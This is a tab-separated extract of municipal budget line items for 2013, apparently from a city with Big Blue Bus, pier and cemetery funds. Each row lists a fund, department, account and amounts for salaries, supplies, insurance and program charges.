2416	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2013	360.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	360.0
2417	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2013	1750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1750.0
2418	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2013	250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	250.0
2419	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2013	486.0	0	0.0	0.0	0	0	0.0	5	0.0	0	0	0.0	491.0
2420	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401070.0	TENNIS RESERVATIONS	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
2421	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS		DCAP	804.0	Salaries and Wages	2013	564.0	0	0.0	0.0	0	0	0.0	0	0.0	-564	0	0.0	0.0
2422	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522184.0	BANK FEES-PARKING AUTHORITY	804.0	 Supplies and Expenses	2013	700.0	0	0.0	0.0	0	0	0.0	0	0.0	-700	0	0.0	0.0
2423	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2013	27.0	0	0.0	0.0	0	0	0.0	0	0.0	-27	0	0.0	0.0
2424	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2013	86100.0	0	0.0	0.0	0	0	0.0	0	0.0	-86100	0	0.0	0.0
2425	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	523000.0	VEHICLE MGMT FUND-MAINTENANCE	806.0	 Supplies and Expenses	2013	5356.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5356.0
2426	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2013	1530.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1530.0
2427	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2013	100000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100000.0
2428	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	577110.0	PAYMENTS TO RENT CONTROL	808.0	 Supplies and Expenses	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
2429	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	407070.0	CUPA ADMINISTRATION FEES	612.0	Charges for Service	2013	-216000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-216000.0
2430	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570100.0	PEG TRANSFER FROM FUND 04		 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	-262757	0.0	0	0	0.0	-262757.0
2431	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-6662.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-6662.0
2432	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-32245.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-32245.0
2433	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-3259.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-3259.0
2434	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-2255.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2255.0
2435	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2013	-6005.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-6005.0
2436	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2013	-817.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-817.0
2437	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2013	-1734.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1734.0
2438	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2013	-1507.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1507.0
2439	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-63377.0	0	0.0	-1306.0	1306	0	0.0	0	0.0	0	0	0.0	-63377.0
2440	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2013	-6071.0	0	0.0	0.0	0	0	0.0	653	0.0	0	0	0.0	-5418.0
2441	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-203370.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-203370.0
2442	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-23610.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-23610.0
2443	B1	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577723.0	CDBG - OTHER PROGRAMS		 Supplies and Expenses	2013	510000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	510000.0
2444	B1	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	402510.0	COMM & TRIBUTE PROG	622.0	Other	2013	-25000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-25000.0
2445	B1	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	555350.0	COMM & TRIBUTE PROGRAM	810.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	25000	0.0	0	0	0.0	25000.0
2446	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544450.0	ADMIN-COMMUNICATION EFFORTS	810.0	 Supplies and Expenses	2013	50167.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50167.0
2447	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409021.0	ENRICHMENT-FALL	612.0	Charges for Service	2013	-124489.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-124489.0
2448	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	408200.0	SINGLE-USE CARRYOUT BAG BAN	612.0	Charges for Service	2013	-500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-500.0
2449	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556130.0	SOLD CASKETS	808.0	 Supplies and Expenses	2013	50000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50000.0
2450	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2013	312174.0	0	0.0	0.0	0	0	0.0	-7084	0.0	0	0	0.0	305090.0
2451	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2013	5140.0	0	0.0	0.0	0	0	0.0	70	0.0	0	0	0.0	5210.0
2452	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-18904.0	315	0.0	0.0	0	0	0.0	1728	0.0	0	0	0.0	-16861.0
2453	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409006.0	CHILDCARE-FEBRUARY	612.0	Charges for Service	2013	-31130.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-31130.0
2454	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409042.0	ELEM SPORTS-WINTER	612.0	Charges for Service	2013	-52410.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-52410.0
2455	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409043.0	ELEM SPORTS-SPRING	612.0	Charges for Service	2013	-54654.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-54654.0
2456	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409062.0	SMSE-SPRING	612.0	Charges for Service	2013	-7636.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-7636.0
2457	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	540590.0	EMPLOYEE RECOGNITION & APPRECI	810.0	 Supplies and Expenses	2013	180.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	180.0
2458	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402820.0	FLOWER SALES	650.0	Charges for Service	2013	-16320.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-16320.0
2459	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522110.0	UTIL - LIGHT / POWER	810.0	 Supplies and Expenses	2013	4388.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4388.0
2460	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2013	50187.0	0	0.0	0.0	0	0	0.0	5000	0.0	0	0	0.0	55187.0
2461	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511774.0	RETIREMENT - AS NEEDED		Salaries and Wages	2013	700.0	0	0.0	0.0	0	0	0.0	7	0.0	0	0	0.0	707.0
2462	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		DISABILITY INSURANCE		Salaries and Wages	2013	2685.0	0	0.0	0.0	0	0	0.0	72	0.0	0	0	0.0	2757.0
2463	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522720.0	MILEAGE	820.0	 Supplies and Expenses	2013	500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	500.0
2464	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2013	3930.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3930.0
2465	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2013	800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	800.0
2466	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	577540.0	FARMERS' MKT SPECIAL EVENTS		 Supplies and Expenses	2013	29623.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	29623.0
2467	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2013	2050.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2050.0
2468	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2013	2066.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2066.0
2469	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	533030.0	PROPERTY INSURANCE	808.0	 Supplies and Expenses	2013	50282.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50282.0
2470	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	533030.0	PROPERTY INSURANCE	854.0	 Supplies and Expenses	2013	141844.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	141844.0
2471	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533040.0	SPECIAL INSURANCE		 Supplies and Expenses	2013	1150.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1150.0
2472	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	19408.0	0	0.0	0.0	0	0	0.0	9660	0.0	0	0	0.0	29068.0
2473	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2013	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
2474	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		DCAP		Salaries and Wages	2013	432.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	432.0
2475	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		DISABILITY INSURANCE		Salaries and Wages	2013	4033.0	0	0.0	0.0	0	0	0.0	40	0.0	0	0	0.0	4073.0
2476	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522320.0	METERED POSTAGE		 Supplies and Expenses	2013	600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	600.0
2477	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
2478	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	555990.0	PARKING AGREEMENT W / MACERICH	804.0	 Supplies and Expenses	2013	2517214.0	0	0.0	0.0	0	0	0.0	-467214	0.0	-2050000	0	0.0	0.0
2479	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	408020.0	TRAFFIC CONTROL	612.0	Charges for Service	2013	-2625.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2625.0
2480	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-13339.0	0	0.0	365.0	0	0	0.0	0	0.0	232	0	0.0	-12742.0
2481	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-8364.0	0	0.0	628.0	0	0	0.0	0	0.0	0	0	0.0	-7736.0
2482	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2013	-9937.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-9937.0
2483	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2013	-12990.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-12990.0
2484	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-5580	0	0.0	-5580.0
2485	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2013	-1451.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1451.0
2486	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		EMPLOYEE HEALTH CONTRIBUTION	840.0	Salaries and Wages	2013	-31672.0	0	0.0	502.0	0	0	0.0	0	0.0	0	0	0.0	-31170.0
2487	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2013	-5156.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-5156.0
2488	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-5168.0	0	0.0	0.0	0	0	0.0	848	0.0	0	0	0.0	-4320.0
2489	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-13166.0	-864	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-14030.0
2490	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409004.0	CHILDCARE-DECEMBER	612.0	Charges for Service	2013	-35467.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-35467.0
2491	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409007.0	CHILDCARE-MARCH	612.0	Charges for Service	2013	-31130.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-31130.0
2492	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409008.0	CHILDCARE-APRIL	612.0	Charges for Service	2013	-31130.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-31130.0
2493	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409022.0	ENRICHMENT-WINTER	612.0	Charges for Service	2013	-103983.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-103983.0
2494	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409033.0	CAMP SM-SUMMER	612.0	Charges for Service	2013	-39819.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-39819.0
2495	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409061.0	SMSE-WINTER	612.0	Charges for Service	2013	-3640.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-3640.0
2496	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544230.0	COMMUNITY SERVICES SU	810.0	 Supplies and Expenses	2013	7500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7500.0
2497	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2013	8690.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8690.0
2498	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2013	2200.0	0	0.0	0.0	0	0	0.0	22	0.0	0	0	0.0	2222.0
2499	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2013	150.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	150.0
2500	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2013	115.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	115.0
2501	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511490.0	OVERTIME	810.0	Salaries and Wages	2013	2657.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2657.0
2502	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	1458.0	0	0.0	0.0	0	0	0.0	15	0.0	0	0	0.0	1473.0
2503	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2013	928.0	0	0.0	0.0	0	0	0.0	9	0.0	0	0	0.0	937.0
2504	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2013	72.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	72.0
2505	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2013	1800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1800.0
2506	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401004.0	SWIM CENTER-PERMIT GROUPS	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
2507	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401010.0	SWIM CENTER-WET WORKOUTS	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
2508	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407480.0	AIRPORT PARK DROP IN PROGRAM	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
2509	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400360.0	SMARS SOCIAL PROGRAM	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
2510	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	544160.0	RIDESHARE PROGRAM	804.0	 Supplies and Expenses	2013	102221.0	0	0.0	0.0	0	0	0.0	-96000	0.0	0	0	0.0	6221.0
2511	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	522620.0	RENT	804.0	 Supplies and Expenses	2013	149371.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	149371.0
2512	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	511749.0	VISION	804.0	Salaries and Wages	2013	1088.0	0	0.0	0.0	0	0	0.0	0	0.0	-1088	0	0.0	0.0
2513	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	111752.0	0	0.0	0.0	0	0	0.0	1118	0.0	-112870	0	0.0	0.0
2514	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522111.0	UTIL-LIGHT/POWER-GF	804.0	 Supplies and Expenses	2013	169763.0	0	0.0	0.0	0	0	0.0	0	0.0	-169763	0	0.0	0.0
2515	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522116.0	UTIL-LIGHT/POWER-CIVIC PARKING	804.0	 Supplies and Expenses	2013	75335.0	0	0.0	0.0	0	0	0.0	0	0.0	-75335	0	0.0	0.0
2516	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2013	8800.0	0	0.0	0.0	0	0	0.0	0	0.0	-8800	0	0.0	0.0
2517	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2013	29924.0	0	0.0	0.0	0	0	0.0	0	0.0	-29924	0	0.0	0.0
2518	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409031.0	CAMP SM-WINTER	612.0	Charges for Service	2013	-6393.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-6393.0
2519	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409053.0	MIDDLE SPORTS-SPRING	612.0	Charges for Service	2013	-24937.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-24937.0
2520	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522610.0	EQUIPMENT RENTAL		 Supplies and Expenses	2013	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
2521	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2013	7792.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7792.0
2522	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	136850.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	136850.0
2523	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-6343.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-6343.0
2524	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	197751.0	0	0.0	998.0	0	0	0.0	1987	0.0	0	0	0.0	200736.0
2525	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		DCAP	804.0	Salaries and Wages	2013	852.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	852.0
2526	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
2527	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533030.0	PROPERTY INSURANCE	808.0	 Supplies and Expenses	2013	2288.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2288.0
2528	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	533030.0	PROPERTY INSURANCE	804.0	 Supplies and Expenses	2013	778681.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	778681.0
2529	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2013	768.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	768.0
2530	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400881.0	SPC HAP SU02	610.0	Intergovernmental	2013	-67092.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-67092.0
2531	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	0.0	0	0.0	0.0	0	0	0.0	8205	0.0	0	0	0.0	8205.0
